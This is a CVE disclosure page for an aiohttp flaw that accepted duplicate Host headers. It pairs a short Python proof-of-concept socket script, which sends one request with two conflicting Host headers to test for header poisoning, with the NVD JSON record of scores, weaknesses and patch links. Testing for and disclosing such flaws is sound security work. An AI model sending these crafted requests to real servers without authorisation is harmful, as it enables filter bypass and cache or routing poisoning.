CVE-2026-34525

import socket def send_duplicate_host_poc(target_ip, target_port, path="/"): """ PoC for CVE-2026-34525: Sending a request with duplicate Host headers. """ # Constructing raw HTTP request with duplicate Host headers # The first Host might be checked by a WAF, the second by the backend aiohttp. payload = ( f"GET {path} HTTP/1.1\r\n" f"Host: trusted-site.com\r\n" # First Host header f"Host: malicious-site.com\r\n" # Second Host header (Potential Poisoning) f"User-Agent: PoC-Client/1.0\r\n" f"Connection: close\r\n" f"\r\n" ) try: print(f"[*] Sending payload to {target_ip}:{target_port}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) s.sendall(payload.encode()) response = s.recv(4096) print("[+] Response received:") print(response.decode(errors='ignore')) s.close() except Exception as e: print(f"[-] Error: {e}") # Usage Example (Uncomment to test): # send_duplicate_host_poc("127.0.0.1", 8080, "/")

{"cve": {"id": "CVE-2026-34525", "sourceIdentifier": "[email protected]", "published": "2026-04-01T21:17:00.490", "lastModified": "2026-04-16T16:21:56.790", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "AIOHTTP is an asynchronous HTTP client/server framework for asyncio and Python. Prior to version 3.13.4, multiple Host headers were allowed in aiohttp. This issue has been patched in version 3.13.4."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-444"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:aiohttp:aiohttp:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.13.4", "matchCriteriaId": "7B8B1C30-52F7-467A-A7D0-F6A786E84AF9"}]}]}], "references": [{"url": "https://github.com/aio-libs/aiohttp/commit/53e2e6fc58b89c6185be7820bd2c9f40216b3000", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/aio-libs/aiohttp/commit/e00ca3cca92c465c7913c4beb763a72da9ed8349", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/aio-libs/aiohttp/releases/tag/v3.13.4", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/aio-libs/aiohttp/security/advisories/GHSA-c427-h43c-vf67", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}